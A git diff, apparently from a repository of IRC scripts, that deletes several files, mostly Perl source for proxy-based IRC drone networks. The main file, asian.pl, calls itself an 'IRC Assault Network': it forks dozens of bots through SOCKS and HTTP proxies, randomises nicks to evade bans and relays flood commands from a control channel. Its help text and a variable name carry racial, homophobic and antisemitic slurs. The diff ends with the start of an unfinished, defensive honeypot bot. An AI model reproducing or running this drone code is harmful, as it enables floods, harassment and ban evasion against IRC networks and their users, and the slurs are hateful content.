exit 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
# {{{ per-drone logic
|
|
||||||
|
|
||||||
sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1;
|
|
||||||
my ($proxy_ip, $proxy_port, $proxy_type,
|
|
||||||
$remote_ip, $remote_host) = @_;
|
|
||||||
my $nick = $g_names[int rand @g_names];
|
|
||||||
my ($ident, $realname) = ($nick, $nick);
|
|
||||||
my ($line, $sock, $altsock);
|
|
||||||
my ($pingtime) = -1;
|
|
||||||
|
|
||||||
eval {
|
|
||||||
local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required
|
|
||||||
alarm 5;
|
|
||||||
$sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
|
|
||||||
$remote_ip, 6667);
|
|
||||||
alarm 0;
|
|
||||||
};
|
|
||||||
if ($@) {
|
|
||||||
error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors
|
|
||||||
#warning("$proxy_ip:$proxy_port not responding, removing from list");
|
|
||||||
#return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
$sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
|
|
||||||
$remote_ip, 6667);
|
|
||||||
return 0 unless $sock;
|
|
||||||
|
|
||||||
print $sock "NICK $nick\r\n";
|
|
||||||
outgoing($nick, "NICK $nick");
|
|
||||||
print $sock "USER $ident * * :$realname\r\n";
|
|
||||||
outgoing($nick, "USER $ident * * :$realname");
|
|
||||||
|
|
||||||
while ($line = <$sock>) {
|
|
||||||
chomp $line;
|
|
||||||
# MIGHT WANNA ADJUST THESE vv
|
|
||||||
next if $line =~ /372/; # ignore motd msgs
|
|
||||||
incoming($nick, $line);
|
|
||||||
last if $line =~ /376|422/; # end of motd or no motd
|
|
||||||
return 0 if $line =~ /BANNED/i;
|
|
||||||
return 0 if $line =~ /ERROR.*G.lined/i;
|
|
||||||
return 0 if $line =~ /ERROR.*K.lined/i;
|
|
||||||
return 1 if $line =~ /ERROR/i;
|
|
||||||
return 1 if $line =~ /432/;
|
|
||||||
return 1 if $line =~ /433/;
|
|
||||||
# MIGHT WANNA ADJUST THESE ^^
|
|
||||||
if ($line =~ /PING (.*)$/) {
|
|
||||||
print $sock "PONG $1\r\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
print $sock "JOIN $g_channel\r\n";
|
|
||||||
outgoing($nick, "JOIN $g_channel");
|
|
||||||
notice("connected to $remote_host as $nick!$ident ($proxy_ip:$proxy_port:$proxy_type)");
|
|
||||||
while ($line = <$sock>) {
|
|
||||||
chomp $line;
|
|
||||||
if ($line =~ /PING (.*)$/) {
|
|
||||||
print $sock "PONG $1\r\n";
|
|
||||||
} elsif ($line =~ /PONG/) {
|
|
||||||
if($pingtime != -1) {
|
|
||||||
print $sock "PRIVMSG $g_channel :PONG received after ". Time::HiRes::tv_interval($pingtime,[Time::HiRes::gettimeofday]) ." secs\r\n";
|
|
||||||
$pingtime = -1;
|
|
||||||
}
|
|
||||||
} elsif ($line =~ /PRIVMSG $g_channel :\.status/i) {
|
|
||||||
print $sock "PRIVMSG $g_channel :I'm $nick on $remote_host via $proxy_ip:$proxy_port (type: $proxy_type)\r\n";
|
|
||||||
} elsif ($line =~ /PRIVMSG $g_channel :\.ping/i) {
|
|
||||||
$pingtime = [Time::HiRes::gettimeofday];
|
|
||||||
print $sock "PING :$pingtime\r\n";
|
|
||||||
} elsif ($line =~ /PRIVMSG $g_channel :\.randnick/i ||
|
|
||||||
$line =~ /432/ || $line =~ /433/) {
|
|
||||||
incoming($nick, $line);
|
|
||||||
$nick = $g_names[int rand @g_names];
|
|
||||||
print $sock "NICK $nick\r\n";
|
|
||||||
outgoing($nick, "NICK $nick");
|
|
||||||
} elsif ($line =~ /PRIVMSG $g_channel :all(\/{1}[^ ]+) (.*)$/i) {
|
|
||||||
my ($qualifiers, $cmds) = ($1, $2);
|
|
||||||
my (undef, $repeat) = split /\//, $qualifiers;
|
|
||||||
$cmds =~ s/\$nick/$nick/g;
|
|
||||||
my (@cmds) = split /;/, $cmds;
|
|
||||||
my $current = 0;
|
|
||||||
while ($current < $repeat) {
|
|
||||||
foreach my $cmd (@cmds) {
|
|
||||||
if ($cmd =~ /\.randnick/) {
|
|
||||||
$nick = $g_names[int rand @g_names];
|
|
||||||
print $sock "NICK $nick\r\n";
|
|
||||||
} else {
|
|
||||||
print $sock "$cmd\r\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
$current++;
|
|
||||||
}
|
|
||||||
} elsif ($line =~ /PRIVMSG $g_channel :(?:\S*|\s*)$nick(?:\S*|\s*)(\/{1}[^ ]+) (.*)$/i) {
|
|
||||||
my ($qualifiers, $cmds) = ($1, $2);
|
|
||||||
my (undef, $repeat) = split /\//, $qualifiers;
|
|
||||||
if ($cmds =~ /nick (\S*)/i) {
|
|
||||||
$nick = $1;
|
|
||||||
}
|
|
||||||
my (@cmds) = split /;/, $cmds;
|
|
||||||
my $current = 0;
|
|
||||||
while ($current < $repeat) {
|
|
||||||
foreach my $cmd (@cmds) {
|
|
||||||
if ($cmd =~ /\.randnick/) {
|
|
||||||
$nick = $g_names[int rand @g_names];
|
|
||||||
print $sock "NICK $nick\r\n";
|
|
||||||
} else {
|
|
||||||
print $sock "$cmd\r\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
$current++;
|
|
||||||
}
|
|
||||||
incoming($nick, $line);
|
|
||||||
outgoing($nick, $cmds);
|
|
||||||
} elsif ($line =~ /^:(.*)!.* (PRIVMSG|NOTICE) $nick :(.*)$/i) {
|
|
||||||
my $msg = $3;
|
|
||||||
chomp $msg;
|
|
||||||
if($2 eq 'PRIVMSG') {
|
|
||||||
print $sock "PRIVMSG $g_channel :<$1> $msg\r\n";
|
|
||||||
} else {
|
|
||||||
print $sock "PRIVMSG $g_channel :-$1- $msg\r\n";
|
|
||||||
}
|
|
||||||
} elsif ($line =~ /473/) {
|
|
||||||
# (channel is +i)
|
|
||||||
alarm 5;
|
|
||||||
$SIG{ALRM} = sub { print $sock "JOIN $g_channel\r\n";
|
|
||||||
alarm 0; };
|
|
||||||
} else {
|
|
||||||
incoming($nick, $line);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
# {{{ proxy protocol handshakes/tunnel establishment
|
|
||||||
|
|
||||||
sub connect_to_proxy {
|
|
||||||
my ($proxy_ip, $proxy_port, $proxy_type,
|
|
||||||
$remote_ip, $remote_port) = @_;
|
|
||||||
if($proxy_type eq '4') {
|
|
||||||
return connect_to_socks4_proxy($proxy_ip, $proxy_port,
|
|
||||||
$remote_ip, $remote_port);
|
|
||||||
} elsif($proxy_type eq '5') {
|
|
||||||
return connect_to_socks5_proxy($proxy_ip, $proxy_port,
|
|
||||||
$remote_ip, $remote_port);
|
|
||||||
} elsif($proxy_type eq 'h') {
|
|
||||||
return connect_to_http_proxy($proxy_ip, $proxy_port,
|
|
||||||
$remote_ip, $remote_port);
|
|
||||||
} else {
|
|
||||||
error("unknown proxy type $proxy_type ($proxy_ip:$proxy_port)");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub connect_to_socks4_proxy {
|
|
||||||
# see http://socks.permeo.com/protocol/socks4.protocol
|
|
||||||
my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
|
|
||||||
my $sock = IO::Socket::INET->new(
|
|
||||||
PeerAddr => $socks_ip,
|
|
||||||
PeerPort => $socks_port,
|
|
||||||
Proto => 'tcp',
|
|
||||||
Timeout => '8'
|
|
||||||
);
|
|
||||||
return unless $sock;
|
|
||||||
$sock->autoflush(1);
|
|
||||||
print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x');
|
|
||||||
my $received = '';
|
|
||||||
while (read($sock, $received, 8) && (length($received) < 8)) {}
|
|
||||||
my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received);
|
|
||||||
return unless $cd;
|
|
||||||
if ($cd != 90) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
return $sock;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub connect_to_socks5_proxy {
|
|
||||||
my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
|
|
||||||
my $sock = IO::Socket::INET->new(
|
|
||||||
PeerAddr => $socks_ip,
|
|
||||||
PeerPort => $socks_port,
|
|
||||||
Proto => 'tcp',
|
|
||||||
Timeout => '8'
|
|
||||||
);
|
|
||||||
return unless $sock;
|
|
||||||
$sock->autoflush(1);
|
|
||||||
|
|
||||||
print $sock pack('CCC', 5, 1, 0);
|
|
||||||
my $received = '';
|
|
||||||
while (read($sock, $received, 2) && (length($received) < 2)) {}
|
|
||||||
my (undef, $method) = unpack('CC', $received);
|
|
||||||
print "received: '$received'\n";
|
|
||||||
return if $method == 0xFF;
|
|
||||||
print $sock pack ('CCCCNn', 5, 1, 0, 1, inet_aton($remote_ip),
|
|
||||||
$remote_port);
|
|
||||||
$received = '';
|
|
||||||
while (read($sock, $received, 2) && (length($received) < 4)) {}
|
|
||||||
my ($vn, $rep) = unpack('CC', $received);
|
|
||||||
if ($rep != 0) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
return $sock;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub connect_to_http_proxy {
|
|
||||||
my ($http_ip, $http_port, $remote_ip, $remote_port) = @_;
|
|
||||||
my $sock = IO::Socket::INET->new(
|
|
||||||
PeerAddr => $http_ip,
|
|
||||||
PeerPort => $http_port,
|
|
||||||
Proto => 'tcp',
|
|
||||||
Timeout => '8'
|
|
||||||
);
|
|
||||||
return unless $sock;
|
|
||||||
$sock->autoflush(1);
|
|
||||||
|
|
||||||
print $sock "CONNECT $remote_ip:$remote_port HTTP/1.0\r\n\r\n";
|
|
||||||
my $received = '';
|
|
||||||
while (read($sock, $received, 12) && (length($received) < 12)) {}
|
|
||||||
my (undef, $response) = split / /, $received;
|
|
||||||
return if $received eq "";
|
|
||||||
return if $response ne '200';
|
|
||||||
|
|
||||||
while(read($sock, $received, 1)) {
|
|
||||||
if($received eq "\n") {
|
|
||||||
read($sock, $received, 1);
|
|
||||||
if($received eq "\r") {
|
|
||||||
read($sock, $received, 1);
|
|
||||||
return $sock;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub resolve {
|
|
||||||
my $host = shift;
|
|
||||||
my (undef, undef, undef, undef, @servers) = gethostbyname($host);
|
|
||||||
unless (@servers) {
|
|
||||||
error("cannot resolve server $host: $?");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
my @servers_ip;
|
|
||||||
foreach my $server (@servers) {
|
|
||||||
my ($a, $b, $c, $d) = unpack('C4', $server);
|
|
||||||
my $server_ip = "$a.$b.$c.$d";
|
|
||||||
push (@servers_ip, $server_ip);
|
|
||||||
}
|
|
||||||
return @servers_ip;
|
|
||||||
}
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
# vim:ts=2
|
|
||||||
# vim:sw=2
|
|
||||||
# vim:expandtab
|
|
||||||
# vim:foldmethod=marker
|
|
318
irc/asian.pl
318
irc/asian.pl
@ -1,318 +0,0 @@
|
|||||||
#!/usr/bin/perl
|
|
||||||
|
|
||||||
# -->
|
|
||||||
# WORK IN PROGRESS
|
|
||||||
# <--
|
|
||||||
|
|
||||||
# ASIAN 2.0 by Jmax
|
|
||||||
#
|
|
||||||
# I have made many modifications:
|
|
||||||
# - Use of command line arguments as opposed to editing the script itself.
|
|
||||||
# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required)
|
|
||||||
# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required)
|
|
||||||
# - Improved fork routine/library
|
|
||||||
#
|
|
||||||
# The original header is as follows (NOTE: syntax here is _incorrect_):
|
|
||||||
# -----------------------------------------------
|
|
||||||
# ASIAN by Rucas
|
|
||||||
# Automated Synchronous IRC Assault Network
|
|
||||||
# Based on AYSYN by mef
|
|
||||||
#
|
|
||||||
# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
|
|
||||||
# directory as this script. If you'd like to use tor, you can put
|
|
||||||
# the correct info on one line in proxies.txt and this app will
|
|
||||||
# still function properly (although generally tor sucks)
|
|
||||||
#
|
|
||||||
# All bots join $channel and are issued raw irc commands from there
|
|
||||||
# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
|
|
||||||
# "botname PRIVMSG Rucas lol failure" and such.
|
|
||||||
#
|
|
||||||
# Testing of an early version of this script is the reason that
|
|
||||||
# Freenode now checks for open SOCKS proxies.
|
|
||||||
# -----------------------------------------------
|
|
||||||
|
|
||||||
# TODO:
|
|
||||||
# file flooding with adjustments for nick-length
|
|
||||||
|
|
||||||
use warnings;
|
|
||||||
use strict;
|
|
||||||
use IO::Socket;
|
|
||||||
use IO::Handle;
|
|
||||||
# for forking
|
|
||||||
use POSIX qw(:signal_h :sys_wait_h);
|
|
||||||
my ($forkcount, $pid, $dead_nigger_storage, $maxfork) = (0, undef, 0, 50);
|
|
||||||
$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; };
|
|
||||||
$SIG{CHLD} = sub { $dead_nigger_storage++ while(($pid = waitpid(-1, WNOHANG)) > 0); };
|
|
||||||
# end
|
|
||||||
use vars qw($VERSION);
|
|
||||||
$VERSION = "2.0-beta3";
|
|
||||||
|
|
||||||
error("please run using the --help argument") unless $ARGV[0];
|
|
||||||
my ($server, $port, $channel, $nickbase);
|
|
||||||
if ($ARGV[0] eq '--help') {
|
|
||||||
print "ASIAN $VERSION by Jmax, Rucas, abez. Inspired by code by mef.\n".
|
|
||||||
"\n".
|
|
||||||
"\n".
|
|
||||||
" Invocation:\n".
|
|
||||||
" perl ".__FILE__." server[:port] \"#channel\" [nickbase]\n".
|
|
||||||
"\n".
|
|
||||||
" Where \"server\" is a hostname to an ircd, and \"#channel\" is the control channel\n".
|
|
||||||
" you want the bots to join, and \"server\" is optionally affixed with a port to\n".
|
|
||||||
" use (if not 6667) with a colon inbetween. Please note that some shells will interpret\n".
|
|
||||||
" the # in \"#channel\" as a comment, and will not send it to the script. In this case,\n".
|
|
||||||
" You may either use quotes, or escape the '#'. I prefer quotes. You may also, optionally,\n".
|
|
||||||
" specify a nickbase. This will cause all nicks to begin with that string. You should\n".
|
|
||||||
" probably not do this, as it makes your bots easier to ban.\n".
|
|
||||||
"\n".
|
|
||||||
"\n".
|
|
||||||
" Usage:\n".
|
|
||||||
" all <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
|
||||||
" <botname> <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
|
||||||
" <botname>,<botname2>,... <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
|
||||||
"\n".
|
|
||||||
" Simply privmsg your command to the control channel, and the respective bots will follow.\n".
|
|
||||||
"\n".
|
|
||||||
" Examples:\n".
|
|
||||||
" <~supers> all join #gnaa gnaa\n".
|
|
||||||
" All bots will join #gnaa using the key 'gnaa'\n".
|
|
||||||
" <~supers> all privmsg #gnaa :LOL HY LOL HY\n".
|
|
||||||
" All bots will say \"LOL HY LOL HY\" in #gnaa\n".
|
|
||||||
" <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n".
|
|
||||||
" The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n".
|
|
||||||
" <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n".
|
|
||||||
" The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n".
|
|
||||||
" will part #gnaa with reason 'lol jews'\n".
|
|
||||||
"\n".
|
|
||||||
"\n".
|
|
||||||
" Enjoy. -- Jmax\n";
|
|
||||||
exit 0;
|
|
||||||
} elsif ($ARGV[0] eq '--version') {
|
|
||||||
print "ASIAN $VERSION by Jmax, Rucas, abez. Based on code by mef.\n";
|
|
||||||
exit 0;
|
|
||||||
} else {
|
|
||||||
error("please run using the --help argument") unless $ARGV[1];
|
|
||||||
if ($ARGV[0] =~ /(.+):(\d+)/) {
|
|
||||||
$server = $1;
|
|
||||||
$port = $2;
|
|
||||||
} else {
|
|
||||||
$server = $ARGV[0];
|
|
||||||
$port = 6667;
|
|
||||||
}
|
|
||||||
$channel = $ARGV[1];
|
|
||||||
if ($ARGV[2]) {
|
|
||||||
$nickbase = $ARGV[2];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
my @servers = resolve($server);
|
|
||||||
notice("Resolved $server as ".join(", ", @servers));
|
|
||||||
|
|
||||||
my %proxies = load_socks();
|
|
||||||
my @proxylist = get_proxylist(%proxies);
|
|
||||||
|
|
||||||
notice("Initiliazing (forking) bots");
|
|
||||||
for ($forkcount = 0; $forkcount < $maxfork; $forkcount++) { # $forkcount must _not_ be local to here
|
|
||||||
sleep 1; # so we don't overload ourselves
|
|
||||||
if (!defined(my $pid = fork())) { # fork
|
|
||||||
error("couldn't fork: $!"); # die if fork fails
|
|
||||||
} elsif ($pid == 0) { # fork successful, in child, do stuff
|
|
||||||
while (%proxies) {
|
|
||||||
my $proxy_ip = $proxylist[int rand @proxylist];
|
|
||||||
my $proxy_port = $proxies{$proxy_ip};
|
|
||||||
spawn_bot($proxy_ip, $proxy_port, $servers[int rand @servers], $port)
|
|
||||||
or (delete $proxies{$proxy_ip} and @proxylist = get_proxylist(%proxies));
|
|
||||||
sleep 10; # to prevent throttling by IRCd
|
|
||||||
}
|
|
||||||
exit 0; # kills child
|
|
||||||
} else { # this is the parent
|
|
||||||
}
|
|
||||||
}
|
|
||||||
sleep while ($dead_nigger_storage < $maxfork);
|
|
||||||
exit 666;
|
|
||||||
|
|
||||||
sub load_socks {
|
|
||||||
my (%proxies, @proxylist, $socksn);
|
|
||||||
open SOCKSFILE, "<", "./socks.txt" or error("could not open socks proxies file socks.txt: $!");
|
|
||||||
while (<SOCKSFILE>) {
|
|
||||||
chomp;
|
|
||||||
my ($ip, $port) = /([^:]+):([^:]+)/;
|
|
||||||
$proxies{$ip} = $port;
|
|
||||||
$socksn++;
|
|
||||||
}
|
|
||||||
close(SOCKSFILE) or error("could not close socks proxies file socks.txt: $!");
|
|
||||||
notice("acquired $socksn socks prox(y|ies).");
|
|
||||||
return (%proxies);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1;
|
|
||||||
my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
|
|
||||||
my ($nick, $nicklen);
|
|
||||||
if ($nickbase) {
|
|
||||||
$nicklen = int(rand(4)) + 3;
|
|
||||||
$nick = $nickbase . random_num($nicklen);
|
|
||||||
} else {
|
|
||||||
$nicklen = int(rand(9)) + 3;
|
|
||||||
$nick = random_nick($nicklen);
|
|
||||||
}
|
|
||||||
my $identlen = int(rand(4)) + 3;
|
|
||||||
my $ident = lc(random_nick($identlen));
|
|
||||||
my $realnamelen = int(rand(9)) + 7;
|
|
||||||
my $realname = random_nick($realnamelen);
|
|
||||||
my ($line, $sock, $altsock);
|
|
||||||
eval {
|
|
||||||
local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required
|
|
||||||
alarm 5;
|
|
||||||
$sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port);
|
|
||||||
alarm 0;
|
|
||||||
};
|
|
||||||
if ($@) {
|
|
||||||
error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors
|
|
||||||
warning("TIMEOUT / CONNECTION REFUSED; SOCKS == SHIT; DELETING AND LOADING NEW;");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
$sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port);
|
|
||||||
return 0 unless $sock;
|
|
||||||
print $sock "NICK $nick\r\n";
|
|
||||||
outgoing($nick, "NICK $nick");
|
|
||||||
print $sock "USER $ident * * :$realname\r\n";
|
|
||||||
outgoing($nick, "USER $ident * * :$realname");
|
|
||||||
while ($line = <$sock>) {
|
|
||||||
chomp $line;
|
|
||||||
next if $line =~ /372/; # ignore motd msgs
|
|
||||||
incoming($nick, $line);
|
|
||||||
last if $line =~ /376|422/; # end of motd or no motd
|
|
||||||
return 0 if $line =~ /BANNED/i;
|
|
||||||
return 0 if $line =~ /ERROR.*G.lined/i;
|
|
||||||
return 0 if $line =~ /ERROR.*K.lined/i;
|
|
||||||
return 1 if $line =~ /ERROR/i;
|
|
||||||
return 1 if $line =~ /432/;
|
|
||||||
return 1 if $line =~ /433/;
|
|
||||||
if ($line =~ /PING (.*)$/) {
|
|
||||||
print $sock "PONG $1\r\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
print $sock "JOIN $channel\r\n";
|
|
||||||
outgoing($nick, "JOIN $channel");
|
|
||||||
while ($line = <$sock>) {
|
|
||||||
chomp $line;
|
|
||||||
if ($line =~ /PING (.*)$/) {
|
|
||||||
print $sock "PONG $1\r\n";
|
|
||||||
} elsif ($line =~ /PRIVMSG $channel :all (.*)$/i) {
|
|
||||||
my $cmd = $1;
|
|
||||||
if ($cmd =~ /nick (\S*)/i) {
|
|
||||||
$nick = $1;
|
|
||||||
}
|
|
||||||
incoming($nick, $line);
|
|
||||||
print $sock "$cmd\r\n";
|
|
||||||
outgoing($nick, $cmd);
|
|
||||||
} elsif ($line =~ /PRIVMSG $channel :(?:\S*|\s*)$nick(?:\S*|\s*) (.*)$/i) {
|
|
||||||
my $cmd = $1;
|
|
||||||
if ($cmd =~ /nick (\S*)/i) {
|
|
||||||
$nick = $1;
|
|
||||||
}
|
|
||||||
incoming($nick, $line);
|
|
||||||
print $sock "$cmd\r\n";
|
|
||||||
outgoing($nick, $cmd);
|
|
||||||
} else {
|
|
||||||
incoming($nick, $line);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub connect_to_socks_proxy {
|
|
||||||
# see http://socks.permeo.com/protocol/socks4.protocol
|
|
||||||
my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
|
|
||||||
my $sock = IO::Socket::INET->new(
|
|
||||||
PeerAddr => $socks_ip,
|
|
||||||
PeerPort => $socks_port,
|
|
||||||
Proto => 'tcp'
|
|
||||||
);
|
|
||||||
return unless $sock;
|
|
||||||
$sock->autoflush(1);
|
|
||||||
print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x');
|
|
||||||
my $received = '';
|
|
||||||
while (read($sock, $received, 8) && (length($received) < 8)) {}
|
|
||||||
my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received);
|
|
||||||
return unless $cd;
|
|
||||||
if ($cd != 90) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
return $sock;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub random_nick {
|
|
||||||
my $length = shift;
|
|
||||||
my $possible = '0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ'; # NO PIPES. (lol, weird bug)
|
|
||||||
my @possible = split(//, $possible);
|
|
||||||
my $str = '';
|
|
||||||
while (length($str) < $length) {
|
|
||||||
$str .= $possible[int rand @possible];
|
|
||||||
}
|
|
||||||
return $str;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub random_num {
|
|
||||||
my $length = shift;
|
|
||||||
my $possible = '0123456789'; # NO PIPES. (lol, weird bug)
|
|
||||||
my @possible = split(//, $possible);
|
|
||||||
my $str = '';
|
|
||||||
while (length($str) < $length) {
|
|
||||||
$str .= $possible[int rand @possible];
|
|
||||||
}
|
|
||||||
return $str;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub resolve {
|
|
||||||
my $host = shift;
|
|
||||||
my (undef, undef, undef, undef, @servers) = gethostbyname($host);
|
|
||||||
unless (@servers) {
|
|
||||||
error("cannot resolve server $host: $?");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
my @servers_ip;
|
|
||||||
foreach my $server (@servers) {
|
|
||||||
my ($a, $b, $c, $d) = unpack('C4', $server);
|
|
||||||
my $server_ip = "$a.$b.$c.$d";
|
|
||||||
push (@servers_ip, $server_ip);
|
|
||||||
}
|
|
||||||
return @servers_ip;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub get_proxylist {
|
|
||||||
my $proxies = @_;
|
|
||||||
my @proxylist;
|
|
||||||
foreach my $key (keys %proxies) {
|
|
||||||
push(@proxylist, $key);
|
|
||||||
}
|
|
||||||
return @proxylist;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub notice {
|
|
||||||
my $notice = shift;
|
|
||||||
print ">>>> ". $notice ."\n";
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub incoming {
|
|
||||||
my ($nick, $line, $server) = @_;
|
|
||||||
printf("IRCd >>>> %-12s ] %s\n", $nick, $line);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub outgoing {
|
|
||||||
my ($nick, $line, $server) = @_;
|
|
||||||
printf("IRCd <<<< %-12s ] %s\n", $nick, $line);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub warning {
|
|
||||||
my $warning = shift;
|
|
||||||
print "!!!! ". $warning ."\n";
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub error {
|
|
||||||
my $error = shift;
|
|
||||||
print "!!!! ". $error ."\n";
|
|
||||||
exit 0;
|
|
||||||
}
|
|
208
irc/blackhole.py
208
irc/blackhole.py
@ -1,208 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
# Blackhole IRC Bot - Developed by acidvegas in Python - (https://acid.vegas/random)
|
|
||||||
|
|
||||||
'''
|
|
||||||
WARNING: This script it entirely unfinished and should not be used for anything other than testing!
|
|
||||||
|
|
||||||
This is an advanced master/honeypot(s) bot system designed to combat advanced flooding techniques on IRC
|
|
||||||
'''
|
|
||||||
|
|
||||||
import random, ssl, socket, time, threading
|
|
||||||
|
|
||||||
# Config
|
|
||||||
nickserv_password = None
|
|
||||||
operator_password = None
|
|
||||||
user_modes = None #BdZ
|
|
||||||
|
|
||||||
class HoneyPot(threading.Thread):
|
|
||||||
def __init__(self):
|
|
||||||
self.nickname = random.choice(BlackHole.db['honeypot_nicks'])
|
|
||||||
self.sock = None
|
|
||||||
threading.Thread.__init__(self)
|
|
||||||
|
|
||||||
def connect(self):
|
|
||||||
try:
|
|
||||||
self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
|
|
||||||
self.sock.connect(('localhost', 6697))
|
|
||||||
self.raw(f'USER {username} 0 * :{realname}')
|
|
||||||
self.raw('NICK ' + self.nickname)
|
|
||||||
except socket.error:
|
|
||||||
self.event_disconnect()
|
|
||||||
else:
|
|
||||||
self.listen()
|
|
||||||
|
|
||||||
def event_disconnect(self):
|
|
||||||
self.sock.close()
|
|
||||||
time.sleep(15)
|
|
||||||
self.connect()
|
|
||||||
|
|
||||||
def handle_events(self, data):
|
|
||||||
args = data.split()
|
|
||||||
if data.startswith('ERROR :Closing Link:'):
|
|
||||||
raise Exception('Connection has closed.')
|
|
||||||
elif args[0] == 'PING':
|
|
||||||
self.raw('PONG ' + args[1][1:])
|
|
||||||
elif args[1] == '001':
|
|
||||||
for chan in channels:
|
|
||||||
self.raw('JOIN ' + chan)
|
|
||||||
time.sleep(1)
|
|
||||||
elif args[1] == '433':
|
|
||||||
self.nickname = random.choice(BlackHole.db['honeypot_nicks'])
|
|
||||||
self.raw('NICK ' + self.nickname)
|
|
||||||
elif args[1] == 'INVITE':
|
|
||||||
nick = args[0].split('!')[0][1:]
|
|
||||||
self.sendmsg('blackhole', '!' + nick)
|
|
||||||
elif args[1] == 'KICK' and len(args) >= 4:
|
|
||||||
chan = args[2]
|
|
||||||
kicked = args[3]
|
|
||||||
if chan in channels and kicked == self.nickname:
|
|
||||||
time.sleep(1)
|
|
||||||
self.raw('JOIN ' + chan)
|
|
||||||
elif args[1] == 'NOTICE':
|
|
||||||
nick = args[0].split('!')[0][1:]
|
|
||||||
self.sendmsg('blackhole', '!' + nick)
|
|
||||||
elif args[1] == 'PRIVMSG' and len(args) >= 3:
|
|
||||||
nick = args[0].split('!')[0][1:]
|
|
||||||
chan = args[2]
|
|
||||||
if chan == self.nickname or '\001' in data:
|
|
||||||
self.sendmsg('blackhole', '!' + nick)
|
|
||||||
|
|
||||||
def listen(self):
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
data = self.sock.recv(1024).decode('utf-8')
|
|
||||||
for line in (line for line in data.split('\r\n') if line):
|
|
||||||
if len(line.split()) >= 2:
|
|
||||||
self.handle_events(line)
|
|
||||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
|
||||||
pass
|
|
||||||
except:
|
|
||||||
break
|
|
||||||
self.event_disconnect()
|
|
||||||
|
|
||||||
def raw(self, msg):
|
|
||||||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
|
||||||
|
|
||||||
def sendmsg(self, target, msg):
|
|
||||||
self.raw(f'PRIVMSG {target} :{msg}')
|
|
||||||
|
|
||||||
class IRC(object):
|
|
||||||
def __init__(self):
|
|
||||||
self.db = {'ident':list(),'nick':list(),:'protect':list()}
|
|
||||||
self.sock = None
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
with open('blackhole.pkl','rb') as db_file:
|
|
||||||
